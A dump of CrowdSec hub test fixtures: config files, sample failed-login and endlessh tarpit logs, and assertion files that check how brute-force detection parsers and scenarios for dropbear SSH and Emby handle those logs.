results[0].Overflow.Alert.Events[3].GetMeta("target_user") == "foobar" results[0].Overflow.Alert.Events[3].GetMeta("timestamp")[4:] == "-05-24T12:57:48Z" results[0].Overflow.Alert.Events[4].GetMeta("datasource_path") == "dropbear-ssh-bf.log" results[0].Overflow.Alert.Events[4].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[4].GetMeta("log_type") == "ssh_failed-auth" results[0].Overflow.Alert.Events[4].GetMeta("machine") == "UDMPRO,a2edd0c6ae48,udm-1.10.0.3686" results[0].Overflow.Alert.Events[4].GetMeta("service") == "dropbear" results[0].Overflow.Alert.Events[4].GetMeta("source_ip") == "192.168.9.163" results[0].Overflow.Alert.Events[4].GetMeta("target_user") == "foobar" results[0].Overflow.Alert.Events[4].GetMeta("timestamp")[4:] == "-05-24T12:57:48Z" results[0].Overflow.Alert.Events[5].GetMeta("datasource_path") == "dropbear-ssh-bf.log" results[0].Overflow.Alert.Events[5].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[5].GetMeta("log_type") == "ssh_failed-auth" results[0].Overflow.Alert.Events[5].GetMeta("machine") == "UDMPRO,a2edd0c6ae48,udm-1.10.0.3686" results[0].Overflow.Alert.Events[5].GetMeta("service") == "dropbear" results[0].Overflow.Alert.Events[5].GetMeta("source_ip") == "192.168.9.163" results[0].Overflow.Alert.Events[5].GetMeta("target_user") == "foobar" results[0].Overflow.Alert.Events[5].GetMeta("timestamp")[4:] == "-05-24T12:57:48Z" results[0].Overflow.Alert.GetScenario() == "crowdsecurity/ssh-bf" results[0].Overflow.Alert.Remediation == true results[0].Overflow.Alert.GetEventsCount() == 6 hub1/.tests/emby-bf/000077500000000000000000000000001437532772500144755ustar00rootroot00000000000000hub1/.tests/emby-bf/config.yaml000066400000000000000000000004041437532772500166240ustar00rootroot00000000000000parsers: - crowdsecurity/syslog-logs - crowdsecurity/dateparse-enrich - ./parsers/s01-parse/LePresidente/emby-logs.yaml scenarios: - ./scenarios/LePresidente/emby-bf.yaml postoverflows: - "" log_file: emby-bf.log log_type: emby labels: {} ignore_parsers: true hub1/.tests/emby-bf/emby-bf.log000066400000000000000000000011061437532772500165170ustar00rootroot000000000000002022-02-14 18:01:07.092 Warn Server: AUTH-ERROR: 1.1.1.1 - Invalid username or password entered. 2022-02-14 18:01:07.092 Warn Server: AUTH-ERROR: 1.1.1.1 - Invalid username or password entered. 2022-02-14 18:01:07.092 Warn Server: AUTH-ERROR: 1.1.1.1 - Invalid username or password entered. 2022-02-14 18:01:07.092 Warn Server: AUTH-ERROR: 1.1.1.1 - Invalid username or password entered. 2022-02-14 18:01:07.092 Warn Server: AUTH-ERROR: 1.1.1.1 - Invalid username or password entered. 2022-02-14 18:01:07.092 Warn Server: AUTH-ERROR: 1.1.1.1 - Invalid username or password entered. hub1/.tests/emby-bf/parser.assert000066400000000000000000000000001437532772500172020ustar00rootroot00000000000000hub1/.tests/emby-bf/scenario.assert000066400000000000000000000061401437532772500175240ustar00rootroot00000000000000len(results) == 1 "1.1.1.1" in results[0].Overflow.GetSources() results[0].Overflow.Sources["1.1.1.1"].IP == "1.1.1.1" results[0].Overflow.Sources["1.1.1.1"].Range == "" results[0].Overflow.Sources["1.1.1.1"].GetScope() == "Ip" results[0].Overflow.Sources["1.1.1.1"].GetValue() == "1.1.1.1" results[0].Overflow.Alert.Events[0].GetMeta("datasource_path") == "emby-bf.log" results[0].Overflow.Alert.Events[0].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[0].GetMeta("log_type") == "emby_failed_auth" results[0].Overflow.Alert.Events[0].GetMeta("service") == "emby" results[0].Overflow.Alert.Events[0].GetMeta("source_ip") == "1.1.1.1" results[0].Overflow.Alert.Events[0].GetMeta("timestamp") == "2022-02-14T18:01:07.092Z" results[0].Overflow.Alert.Events[1].GetMeta("datasource_path") == "emby-bf.log" results[0].Overflow.Alert.Events[1].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[1].GetMeta("log_type") == "emby_failed_auth" results[0].Overflow.Alert.Events[1].GetMeta("service") == "emby" results[0].Overflow.Alert.Events[1].GetMeta("source_ip") == "1.1.1.1" results[0].Overflow.Alert.Events[1].GetMeta("timestamp") == "2022-02-14T18:01:07.092Z" results[0].Overflow.Alert.Events[2].GetMeta("datasource_path") == "emby-bf.log" results[0].Overflow.Alert.Events[2].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[2].GetMeta("log_type") == "emby_failed_auth" results[0].Overflow.Alert.Events[2].GetMeta("service") == "emby" results[0].Overflow.Alert.Events[2].GetMeta("source_ip") == "1.1.1.1" results[0].Overflow.Alert.Events[2].GetMeta("timestamp") == "2022-02-14T18:01:07.092Z" results[0].Overflow.Alert.Events[3].GetMeta("datasource_path") == "emby-bf.log" results[0].Overflow.Alert.Events[3].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[3].GetMeta("log_type") == "emby_failed_auth" results[0].Overflow.Alert.Events[3].GetMeta("service") == "emby" results[0].Overflow.Alert.Events[3].GetMeta("source_ip") == "1.1.1.1" results[0].Overflow.Alert.Events[3].GetMeta("timestamp") == "2022-02-14T18:01:07.092Z" results[0].Overflow.Alert.Events[4].GetMeta("datasource_path") == "emby-bf.log" results[0].Overflow.Alert.Events[4].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[4].GetMeta("log_type") == "emby_failed_auth" results[0].Overflow.Alert.Events[4].GetMeta("service") == "emby" results[0].Overflow.Alert.Events[4].GetMeta("source_ip") == "1.1.1.1" results[0].Overflow.Alert.Events[4].GetMeta("timestamp") == "2022-02-14T18:01:07.092Z" results[0].Overflow.Alert.Events[5].GetMeta("datasource_path") == "emby-bf.log" results[0].Overflow.Alert.Events[5].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[5].GetMeta("log_type") == "emby_failed_auth" results[0].Overflow.Alert.Events[5].GetMeta("service") == "emby" results[0].Overflow.Alert.Events[5].GetMeta("source_ip") == "1.1.1.1" results[0].Overflow.Alert.Events[5].GetMeta("timestamp") == "2022-02-14T18:01:07.092Z" results[0].Overflow.Alert.GetScenario() == "LePresidente/emby-bf" results[0].Overflow.Alert.Remediation == true results[0].Overflow.Alert.GetEventsCount() == 6hub1/.tests/emby-logs/000077500000000000000000000000001437532772500150525ustar00rootroot00000000000000hub1/.tests/emby-logs/config.yaml000066400000000000000000000003441437532772500172040ustar00rootroot00000000000000parsers: - crowdsecurity/syslog-logs - crowdsecurity/dateparse-enrich - ./parsers/s01-parse/LePresidente/emby-logs.yaml scenarios: - "" postoverflows: - "" log_file: emby-logs.log log_type: emby labels: {} ignore_parsers: false hub1/.tests/emby-logs/emby-logs.log000066400000000000000000000001401437532772500174460ustar00rootroot000000000000002022-02-14 18:01:07.092 Warn Server: AUTH-ERROR: 1.1.1.1 - Invalid username or password entered.hub1/.tests/emby-logs/parser.assert000066400000000000000000000017631437532772500176000ustar00rootroot00000000000000len(results["s01-parse"]["LePresidente/emby-logs"]) == 1 results["s01-parse"]["LePresidente/emby-logs"][0].Success == true results["s01-parse"]["LePresidente/emby-logs"][0].Evt.Parsed["message"] == "2022-02-14 18:01:07.092 Warn Server: AUTH-ERROR: 1.1.1.1 - Invalid username or password entered." results["s01-parse"]["LePresidente/emby-logs"][0].Evt.Parsed["program"] == "emby" results["s01-parse"]["LePresidente/emby-logs"][0].Evt.Parsed["source_ip"] == "1.1.1.1" results["s01-parse"]["LePresidente/emby-logs"][0].Evt.Parsed["timestamp"] == "2022-02-14 18:01:07.092" results["s01-parse"]["LePresidente/emby-logs"][0].Evt.Meta["source_ip"] == "1.1.1.1" results["s01-parse"]["LePresidente/emby-logs"][0].Evt.Meta["datasource_path"] == "emby-logs.log" results["s01-parse"]["LePresidente/emby-logs"][0].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["LePresidente/emby-logs"][0].Evt.Meta["log_type"] == "emby_failed_auth" results["s01-parse"]["LePresidente/emby-logs"][0].Evt.Meta["service"] == "emby"hub1/.tests/emby-logs/scenario.assert000066400000000000000000000000001437532772500200660ustar00rootroot00000000000000hub1/.tests/endlessh-logs/000077500000000000000000000000001437532772500157235ustar00rootroot00000000000000hub1/.tests/endlessh-logs/config.yaml000066400000000000000000000003621437532772500200550ustar00rootroot00000000000000parsers: - ./parsers/s01-parse/crowdsecurity/endlessh-logs.yaml - crowdsecurity/dateparse-enrich scenarios: - ./scenarios/crowdsecurity/endlessh-bf.yaml postoverflows: - "" log_file: endlessh-logs.log log_type: endlessh ignore_parsers: false hub1/.tests/endlessh-logs/endlessh-logs.log000066400000000000000000000220341437532772500211760ustar00rootroot000000000000002022-02-13T10:09:11.521Z Port 22 2022-02-13T10:09:11.521Z Delay 10000 2022-02-13T10:09:11.521Z MaxLineLength 32 2022-02-13T10:09:11.521Z MaxClients 4096 2022-02-13T10:09:11.521Z BindFamily IPv4 Mapped IPv6 2022-02-13T10:42:17.813Z ACCEPT host=::ffff:193.142.146.42 port=39590 fd=4 n=1/4096 2022-02-13T10:42:37.830Z CLOSE host=::ffff:193.142.146.42 port=39590 fd=4 time=20.017 bytes=20 2022-02-13T10:46:27.775Z ACCEPT host=::ffff:49.88.112.72 port=61899 fd=4 n=1/4096 2022-02-13T10:46:47.779Z CLOSE host=::ffff:49.88.112.72 port=61899 fd=4 time=20.004 bytes=29 2022-02-13T10:51:01.559Z ACCEPT host=::ffff:49.88.112.72 port=24936 fd=4 n=1/4096 2022-02-13T10:51:21.578Z CLOSE host=::ffff:49.88.112.72 port=24936 fd=4 time=20.019 bytes=16 2022-02-13T10:53:05.206Z ACCEPT host=::ffff:49.88.112.72 port=44350 fd=4 n=1/4096 2022-02-13T10:53:25.223Z CLOSE host=::ffff:49.88.112.72 port=44350 fd=4 time=20.017 bytes=6 2022-02-13T10:55:56.131Z ACCEPT host=::ffff:49.88.112.72 port=49461 fd=4 n=1/4096 2022-02-13T10:56:16.151Z CLOSE host=::ffff:49.88.112.72 port=49461 fd=4 time=20.020 bytes=21 2022-02-13T10:57:18.739Z ACCEPT host=::ffff:49.88.112.72 port=46254 fd=4 n=1/4096 2022-02-13T10:57:38.754Z CLOSE host=::ffff:49.88.112.72 port=46254 fd=4 time=20.015 bytes=29 2022-02-13T11:01:37.741Z ACCEPT host=::ffff:49.88.112.72 port=55150 fd=4 n=1/4096 2022-02-13T11:01:50.846Z ACCEPT host=::ffff:49.88.112.72 port=43330 fd=5 n=2/4096 2022-02-13T11:01:57.745Z CLOSE host=::ffff:49.88.112.72 port=55150 fd=4 time=20.004 bytes=8 2022-02-13T11:02:10.858Z CLOSE host=::ffff:49.88.112.72 port=43330 fd=5 time=20.012 bytes=18 2022-02-13T11:02:12.588Z ACCEPT host=::ffff:49.88.112.72 port=19851 fd=4 n=1/4096 2022-02-13T11:02:32.608Z CLOSE host=::ffff:49.88.112.72 port=19851 fd=4 time=20.020 bytes=12 2022-02-13T11:03:19.438Z ACCEPT host=::ffff:49.88.112.72 port=30884 fd=4 n=1/4096 2022-02-13T11:03:39.451Z CLOSE host=::ffff:49.88.112.72 port=30884 fd=4 time=20.013 bytes=18 2022-02-13T11:04:54.637Z ACCEPT host=::ffff:49.88.112.72 port=43360 fd=4 n=1/4096 2022-02-13T11:05:14.657Z CLOSE host=::ffff:49.88.112.72 port=43360 fd=4 time=20.020 bytes=17 2022-02-13T11:06:25.446Z ACCEPT host=::ffff:49.88.112.72 port=42068 fd=4 n=1/4096 2022-02-13T11:06:45.457Z CLOSE host=::ffff:49.88.112.72 port=42068 fd=4 time=20.011 bytes=20 2022-02-13T11:08:37.791Z ACCEPT host=::ffff:49.88.112.72 port=54567 fd=4 n=1/4096 2022-02-13T11:08:57.794Z CLOSE host=::ffff:49.88.112.72 port=54567 fd=4 time=20.003 bytes=27 2022-02-13T11:09:44.393Z ACCEPT host=::ffff:49.88.112.72 port=34132 fd=4 n=1/4096 2022-02-13T11:10:04.404Z CLOSE host=::ffff:49.88.112.72 port=34132 fd=4 time=20.011 bytes=4 2022-02-13T11:11:02.770Z ACCEPT host=::ffff:49.88.112.72 port=60016 fd=4 n=1/4096 2022-02-13T11:11:22.787Z CLOSE host=::ffff:49.88.112.72 port=60016 fd=4 time=20.017 bytes=22 2022-02-13T11:14:19.500Z ACCEPT host=::ffff:49.88.112.72 port=53678 fd=4 n=1/4096 2022-02-13T11:14:39.514Z CLOSE host=::ffff:49.88.112.72 port=53678 fd=4 time=20.014 bytes=23 2022-02-13T11:17:17.528Z ACCEPT host=::ffff:49.88.112.72 port=31454 fd=4 n=1/4096 2022-02-13T11:17:37.532Z CLOSE host=::ffff:49.88.112.72 port=31454 fd=4 time=20.004 bytes=32 2022-02-13T11:18:44.156Z ACCEPT host=::ffff:49.88.112.72 port=16564 fd=4 n=1/4096 2022-02-13T11:19:04.175Z CLOSE host=::ffff:49.88.112.72 port=16564 fd=4 time=20.019 bytes=20 2022-02-13T11:21:17.441Z ACCEPT host=::ffff:165.232.112.160 port=57056 fd=4 n=1/4096 2022-02-13T11:21:37.450Z CLOSE host=::ffff:165.232.112.160 port=57056 fd=4 time=20.009 bytes=3 2022-02-13T11:22:29.229Z ACCEPT host=::ffff:49.88.112.72 port=40785 fd=4 n=1/4096 2022-02-13T11:22:49.246Z CLOSE host=::ffff:49.88.112.72 port=40785 fd=4 time=20.017 bytes=14 2022-02-13T11:23:25.867Z ACCEPT host=::ffff:49.88.112.72 port=17785 fd=4 n=1/4096 2022-02-13T11:23:45.877Z CLOSE host=::ffff:49.88.112.72 port=17785 fd=4 time=20.010 bytes=24 2022-02-13T11:24:55.313Z ACCEPT host=::ffff:49.88.112.72 port=45482 fd=4 n=1/4096 2022-02-13T11:25:15.324Z CLOSE host=::ffff:49.88.112.72 port=45482 fd=4 time=20.011 bytes=7 2022-02-13T11:26:32.620Z ACCEPT host=::ffff:49.88.112.72 port=25911 fd=4 n=1/4096 2022-02-13T11:26:52.636Z CLOSE host=::ffff:49.88.112.72 port=25911 fd=4 time=20.016 bytes=19 2022-02-13T11:31:02.471Z ACCEPT host=::ffff:49.88.112.72 port=54164 fd=4 n=1/4096 2022-02-13T11:31:22.486Z CLOSE host=::ffff:49.88.112.72 port=54164 fd=4 time=20.015 bytes=29 2022-02-13T11:33:08.053Z ACCEPT host=::ffff:49.88.112.72 port=56498 fd=4 n=1/4096 2022-02-13T11:33:28.070Z CLOSE host=::ffff:49.88.112.72 port=56498 fd=4 time=20.017 bytes=21 2022-02-13T11:34:11.826Z ACCEPT host=::ffff:49.88.112.72 port=46301 fd=4 n=1/4096 2022-02-13T11:34:31.839Z CLOSE host=::ffff:49.88.112.72 port=46301 fd=4 time=20.013 bytes=31 2022-02-13T11:35:59.307Z ACCEPT host=::ffff:49.88.112.72 port=39949 fd=4 n=1/4096 2022-02-13T11:36:19.324Z CLOSE host=::ffff:49.88.112.72 port=39949 fd=4 time=20.017 bytes=16 2022-02-13T11:37:11.459Z ACCEPT host=::ffff:49.88.112.72 port=19005 fd=4 n=1/4096 2022-02-13T11:37:31.475Z CLOSE host=::ffff:49.88.112.72 port=19005 fd=4 time=20.016 bytes=17 2022-02-13T11:39:14.349Z ACCEPT host=::ffff:49.88.112.72 port=52296 fd=4 n=1/4096 2022-02-13T11:39:34.367Z CLOSE host=::ffff:49.88.112.72 port=52296 fd=4 time=20.018 bytes=11 2022-02-13T11:40:27.877Z ACCEPT host=::ffff:49.88.112.72 port=42606 fd=4 n=1/4096 2022-02-13T11:40:47.892Z CLOSE host=::ffff:49.88.112.72 port=42606 fd=4 time=20.015 bytes=19 2022-02-13T11:41:51.108Z ACCEPT host=::ffff:49.88.112.72 port=61157 fd=4 n=1/4096 2022-02-13T11:42:11.126Z CLOSE host=::ffff:49.88.112.72 port=61157 fd=4 time=20.018 bytes=12 2022-02-13T11:44:54.352Z ACCEPT host=::ffff:49.88.112.72 port=34267 fd=4 n=1/4096 2022-02-13T11:44:56.120Z ACCEPT host=::ffff:141.98.11.27 port=59032 fd=5 n=2/4096 2022-02-13T11:45:14.365Z CLOSE host=::ffff:49.88.112.72 port=34267 fd=4 time=20.013 bytes=5 2022-02-13T11:45:16.124Z CLOSE host=::ffff:141.98.11.27 port=59032 fd=5 time=20.004 bytes=22 2022-02-13T11:46:41.715Z ACCEPT host=::ffff:49.88.112.72 port=49347 fd=4 n=1/4096 2022-02-13T11:47:01.730Z CLOSE host=::ffff:49.88.112.72 port=49347 fd=4 time=20.015 bytes=20 2022-02-13T11:47:58.463Z ACCEPT host=::ffff:49.88.112.72 port=54927 fd=4 n=1/4096 2022-02-13T11:48:18.475Z CLOSE host=::ffff:49.88.112.72 port=54927 fd=4 time=20.012 bytes=24 2022-02-13T11:49:31.344Z ACCEPT host=::ffff:49.88.112.72 port=12208 fd=4 n=1/4096 2022-02-13T11:49:51.361Z CLOSE host=::ffff:49.88.112.72 port=12208 fd=4 time=20.017 bytes=32 2022-02-13T11:51:35.252Z ACCEPT host=::ffff:212.192.246.173 port=35630 fd=4 n=1/4096 2022-02-13T11:51:35.359Z ACCEPT host=::ffff:49.88.112.72 port=62525 fd=5 n=2/4096 2022-02-13T11:51:55.265Z CLOSE host=::ffff:212.192.246.173 port=35630 fd=4 time=20.013 bytes=11 2022-02-13T11:51:55.359Z CLOSE host=::ffff:49.88.112.72 port=62525 fd=5 time=20.000 bytes=5 2022-02-13T11:52:44.396Z ACCEPT host=::ffff:49.88.112.72 port=19429 fd=4 n=1/4096 2022-02-13T11:53:04.417Z CLOSE host=::ffff:49.88.112.72 port=19429 fd=4 time=20.021 bytes=18 2022-02-13T11:54:17.557Z ACCEPT host=::ffff:49.88.112.72 port=19439 fd=4 n=1/4096 2022-02-13T11:54:37.575Z CLOSE host=::ffff:49.88.112.72 port=19439 fd=4 time=20.018 bytes=28 2022-02-13T11:56:13.717Z ACCEPT host=::ffff:49.88.112.72 port=10422 fd=4 n=1/4096 2022-02-13T11:56:33.734Z CLOSE host=::ffff:49.88.112.72 port=10422 fd=4 time=20.017 bytes=8 2022-02-13T11:57:16.679Z ACCEPT host=::ffff:49.88.112.72 port=50896 fd=4 n=1/4096 2022-02-13T11:57:36.696Z CLOSE host=::ffff:49.88.112.72 port=50896 fd=4 time=20.017 bytes=22 2022-02-13T11:59:32.884Z ACCEPT host=::ffff:49.88.112.72 port=36242 fd=4 n=1/4096 2022-02-13T11:59:52.902Z CLOSE host=::ffff:49.88.112.72 port=36242 fd=4 time=20.018 bytes=28 2022-02-13T12:00:47.800Z ACCEPT host=::ffff:49.88.112.72 port=22220 fd=4 n=1/4096 2022-02-13T12:01:07.820Z CLOSE host=::ffff:49.88.112.72 port=22220 fd=4 time=20.020 bytes=9 2022-02-13T12:01:59.882Z ACCEPT host=::ffff:49.88.112.72 port=42827 fd=4 n=1/4096 2022-02-13T12:02:19.895Z CLOSE host=::ffff:49.88.112.72 port=42827 fd=4 time=20.014 bytes=6 2022-02-13T12:03:21.948Z ACCEPT host=::ffff:49.88.112.72 port=28744 fd=4 n=1/4096 2022-02-13T12:03:41.968Z CLOSE host=::ffff:49.88.112.72 port=28744 fd=4 time=20.020 bytes=4 2022-02-13T12:05:00.857Z ACCEPT host=::ffff:49.88.112.72 port=53672 fd=4 n=1/4096 2022-02-13T12:05:20.875Z CLOSE host=::ffff:49.88.112.72 port=53672 fd=4 time=20.018 bytes=25 2022-02-13T12:06:32.107Z ACCEPT host=::ffff:49.88.112.72 port=53082 fd=4 n=1/4096 2022-02-13T12:06:52.126Z CLOSE host=::ffff:49.88.112.72 port=53082 fd=4 time=20.019 bytes=6 2022-02-13T12:12:43.171Z ACCEPT host=::ffff:49.88.112.72 port=33459 fd=4 n=1/4096 2022-02-13T12:13:03.180Z CLOSE host=::ffff:49.88.112.72 port=33459 fd=4 time=20.009 bytes=22 2022-02-13T12:14:06.577Z ACCEPT host=::ffff:49.88.112.72 port=25804 fd=4 n=1/4096 2022-02-13T12:14:26.588Z CLOSE host=::ffff:49.88.112.72 port=25804 fd=4 time=20.011 bytes=10 2022-02-13T12:15:11.423Z TOTALS connects=708 seconds=33873.219 bytes=47321 2022-02-13T12:17:31.839Z ACCEPT host=2001:db8:85a3:8d3:1319:8a2e:370:7348 port=54185 fd=4 n=1/4096 2022-02-13T12:17:59.307Z CLOSE host=2001:db8:85a3:8d3:1319:8a2e:370:7348 port=54185 fd=4 time=20.020 bytes=25 hub1/.tests/endlessh-logs/parser.assert000066400000000000000000002222561437532772500204530ustar00rootroot00000000000000len(results) == 3 len(results["s01-parse"]["crowdsecurity/endlessh-logs"]) == 108 results["s01-parse"]["crowdsecurity/endlessh-logs"][0].Success == false results["s01-parse"]["crowdsecurity/endlessh-logs"][1].Success == false results["s01-parse"]["crowdsecurity/endlessh-logs"][2].Success == false results["s01-parse"]["crowdsecurity/endlessh-logs"][3].Success == false results["s01-parse"]["crowdsecurity/endlessh-logs"][4].Success == false results["s01-parse"]["crowdsecurity/endlessh-logs"][5].Success == true results["s01-parse"]["crowdsecurity/endlessh-logs"][5].Evt.Parsed["timestamp"] == "2022-02-13T10:42:17.813Z" results["s01-parse"]["crowdsecurity/endlessh-logs"][5].Evt.Parsed["source_ip"] == "193.142.146.42" results["s01-parse"]["crowdsecurity/endlessh-logs"][5].Evt.Meta["log_type"] == "endlessh_accept" results["s01-parse"]["crowdsecurity/endlessh-logs"][5].Evt.Meta["service"] == "endlessh" results["s01-parse"]["crowdsecurity/endlessh-logs"][5].Evt.Meta["source_ip"] == "193.142.146.42" results["s01-parse"]["crowdsecurity/endlessh-logs"][6].Success == false results["s01-parse"]["crowdsecurity/endlessh-logs"][7].Success == true results["s01-parse"]["crowdsecurity/endlessh-logs"][7].Evt.Parsed["timestamp"] == "2022-02-13T10:46:27.775Z" results["s01-parse"]["crowdsecurity/endlessh-logs"][7].Evt.Parsed["source_ip"] == "49.88.112.72" results["s01-parse"]["crowdsecurity/endlessh-logs"][7].Evt.Meta["service"] == "endlessh" results["s01-parse"]["crowdsecurity/endlessh-logs"][7].Evt.Meta["source_ip"] == "49.88.112.72" results["s01-parse"]["crowdsecurity/endlessh-logs"][7].Evt.Meta["log_type"] == "endlessh_accept" results["s01-parse"]["crowdsecurity/endlessh-logs"][8].Success == false results["s01-parse"]["crowdsecurity/endlessh-logs"][9].Success == true results["s01-parse"]["crowdsecurity/endlessh-logs"][9].Evt.Parsed["timestamp"] == "2022-02-13T10:51:01.559Z" results["s01-parse"]["crowdsecurity/endlessh-logs"][9].Evt.Parsed["source_ip"] == "49.88.112.72" results["s01-parse"]["crowdsecurity/endlessh-logs"][9].Evt.Meta["log_type"] == "endlessh_accept" results["s01-parse"]["crowdsecurity/endlessh-logs"][9].Evt.Meta["service"] == "endlessh" results["s01-parse"]["crowdsecurity/endlessh-logs"][9].Evt.Meta["source_ip"] == "49.88.112.72" results["s01-parse"]["crowdsecurity/endlessh-logs"][10].Success == false results["s01-parse"]["crowdsecurity/endlessh-logs"][11].Success == true results["s01-parse"]["crowdsecurity/endlessh-logs"][11].Evt.Parsed["source_ip"] == "49.88.112.72" results["s01-parse"]["crowdsecurity/endlessh-logs"][11].Evt.Parsed["timestamp"] == "2022-02-13T10:53:05.206Z" results["s01-parse"]["crowdsecurity/endlessh-logs"][11].Evt.Meta["log_type"] == "endlessh_accept" results["s01-parse"]["crowdsecurity/endlessh-logs"][11].Evt.Meta["service"] == "endlessh" results["s01-parse"]["crowdsecurity/endlessh-logs"][11].Evt.Meta["source_ip"] == "49.88.112.72" results["s01-parse"]["crowdsecurity/endlessh-logs"][12].Success == false results["s01-parse"]["crowdsecurity/endlessh-logs"][13].Success == true results["s01-parse"]["crowdsecurity/endlessh-logs"][13].Evt.Parsed["source_ip"] == "49.88.112.72" results["s01-parse"]["crowdsecurity/endlessh-logs"][13].Evt.Parsed["timestamp"] == "2022-02-13T10:55:56.131Z" results["s01-parse"]["crowdsecurity/endlessh-logs"][13].Evt.Meta["log_type"] == "endlessh_accept" results["s01-parse"]["crowdsecurity/endlessh-logs"][13].Evt.Meta["service"] == "endlessh" results["s01-parse"]["crowdsecurity/endlessh-logs"][13].Evt.Meta["source_ip"] == "49.88.112.72" results["s01-parse"]["crowdsecurity/endlessh-logs"][14].Success == false results["s01-parse"]["crowdsecurity/endlessh-logs"][15].Success == true results["s01-parse"]["crowdsecurity/endlessh-logs"][15].Evt.Parsed["source_ip"] == "49.88.112.72" results["s01-parse"]["crowdsecurity/endlessh-logs"][15].Evt.Parsed["timestamp"] == "2022-02-13T10:57:18.739Z" results["s01-parse"]["crowdsecurity/endlessh-logs"][15].Evt.Meta["log_type"] == "endlessh_accept" results["s01-parse"]["crowdsecurity/endlessh-logs"][15].Evt.Meta["service"] == "endlessh" results["s01-parse"]["crowdsecurity/endlessh-logs"][15].Evt.Meta["source_ip"] == "49.88.112.72" results["s01-parse"]["crowdsecurity/endlessh-logs"][16].Success == false results["s01-parse"]["crowdsecurity/endlessh-logs"][17].Success == true results["s01-parse"]["crowdsecurity/endlessh-logs"][17].Evt.Parsed["source_ip"] == "49.88.112.72" results["s01-parse"]["crowdsecurity/endlessh-logs"][17].Evt.Parsed["timestamp"] == "2022-02-13T11:01:37.741Z" results["s01-parse"]["crowdsecurity/endlessh-logs"][17].Evt.Meta["service"] == "endlessh" results["s01-parse"]["crowdsecurity/endlessh-logs"][17].Evt.Meta["source_ip"] == "49.88.112.72" results["s01-parse"]["crowdsecurity/endlessh-logs"][17].Evt.Meta["log_type"] == "endlessh_accept" results["s01-parse"]["crowdsecurity/endlessh-logs"][18].Success == true results["s01-parse"]["crowdsecurity/endlessh-logs"][18].Evt.Parsed["source_ip"] == "49.88.112.72" results["s01-parse"]["crowdsecurity/endlessh-logs"][18].Evt.Parsed["timestamp"] == "2022-02-13T11:01:50.846Z" results["s01-parse"]["crowdsecurity/endlessh-logs"][18].Evt.Meta["log_type"] == "endlessh_accept" results["s01-parse"]["crowdsecurity/endlessh-logs"][18].Evt.Meta["service"] == "endlessh" results["s01-parse"]["crowdsecurity/endlessh-logs"][18].Evt.Meta["source_ip"] == "49.88.112.72" results["s01-parse"]["crowdsecurity/endlessh-logs"][19].Success == false results["s01-parse"]["crowdsecurity/endlessh-logs"][20].Success == false results["s01-parse"]["crowdsecurity/endlessh-logs"][21].Success == true results["s01-parse"]["crowdsecurity/endlessh-logs"][21].Evt.Parsed["source_ip"] == "49.88.112.72" results["s01-parse"]["crowdsecurity/endlessh-logs"][21].Evt.Parsed["timestamp"] == "2022-02-13T11:02:12.588Z" results["s01-parse"]["crowdsecurity/endlessh-logs"][21].Evt.Meta["log_type"] == "endlessh_accept" results["s01-parse"]["crowdsecurity/endlessh-logs"][21].Evt.Meta["service"] == "endlessh" results["s01-parse"]["crowdsecurity/endlessh-logs"][21].Evt.Meta["source_ip"] == "49.88.112.72" results["s01-parse"]["crowdsecurity/endlessh-logs"][22].Success == false results["s01-parse"]["crowdsecurity/endlessh-logs"][23].Success == true results["s01-parse"]["crowdsecurity/endlessh-logs"][23].Evt.Parsed["source_ip"] == "49.88.112.72" results["s01-parse"]["crowdsecurity/endlessh-logs"][23].Evt.Parsed["timestamp"] == "2022-02-13T11:03:19.438Z" results["s01-parse"]["crowdsecurity/endlessh-logs"][23].Evt.Meta["log_type"] == "endlessh_accept" results["s01-parse"]["crowdsecurity/endlessh-logs"][23].Evt.Meta["service"] == "endlessh" results["s01-parse"]["crowdsecurity/endlessh-logs"][23].Evt.Meta["source_ip"] == "49.88.112.72" results["s01-parse"]["crowdsecurity/endlessh-logs"][24].Success == false results["s01-parse"]["crowdsecurity/endlessh-logs"][25].Success == true results["s01-parse"]["crowdsecurity/endlessh-logs"][25].Evt.Parsed["source_ip"] == "49.88.112.72" results["s01-parse"]["crowdsecurity/endlessh-logs"][25].Evt.Parsed["timestamp"] == "2022-02-13T11:04:54.637Z" results["s01-parse"]["crowdsecurity/endlessh-logs"][25].Evt.Meta["log_type"] == "endlessh_accept" results["s01-parse"]["crowdsecurity/endlessh-logs"][25].Evt.Meta["service"] == "endlessh" results["s01-parse"]["crowdsecurity/endlessh-logs"][25].Evt.Meta["source_ip"] == "49.88.112.72" results["s01-parse"]["crowdsecurity/endlessh-logs"][26].Success == false results["s01-parse"]["crowdsecurity/endlessh-logs"][27].Success == true results["s01-parse"]["crowdsecurity/endlessh-logs"][27].Evt.Parsed["source_ip"] == "49.88.112.72" results["s01-parse"]["crowdsecurity/endlessh-logs"][27].Evt.Parsed["timestamp"] == "2022-02-13T11:06:25.446Z" results["s01-parse"]["crowdsecurity/endlessh-logs"][27].Evt.Meta["log_type"] == "endlessh_accept" results["s01-parse"]["crowdsecurity/endlessh-logs"][27].Evt.Meta["service"] == "endlessh" results["s01-parse"]["crowdsecurity/endlessh-logs"][27].Evt.Meta["source_ip"] == "49.88.112.72" results["s01-parse"]["crowdsecurity/endlessh-logs"][28].Success == false results["s01-parse"]["crowdsecurity/endlessh-logs"][29].Success == true results["s01-parse"]["crowdsecurity/endlessh-logs"][29].Evt.Parsed["source_ip"] == "49.88.112.72" results["s01-parse"]["crowdsecurity/endlessh-logs"][29].Evt.Parsed["timestamp"] == "2022-02-13T11:08:37.791Z" results["s01-parse"]["crowdsecurity/endlessh-logs"][29].Evt.Meta["log_type"] == "endlessh_accept" results["s01-parse"]["crowdsecurity/endlessh-logs"][29].Evt.Meta["service"] == "endlessh" results["s01-parse"]["crowdsecurity/endlessh-logs"][29].Evt.Meta["source_ip"] == "49.88.112.72" results["s01-parse"]["crowdsecurity/endlessh-logs"][30].Success == false results["s01-parse"]["crowdsecurity/endlessh-logs"][31].Success == true results["s01-parse"]["crowdsecurity/endlessh-logs"][31].Evt.Parsed["timestamp"] == "2022-02-13T11:09:44.393Z" 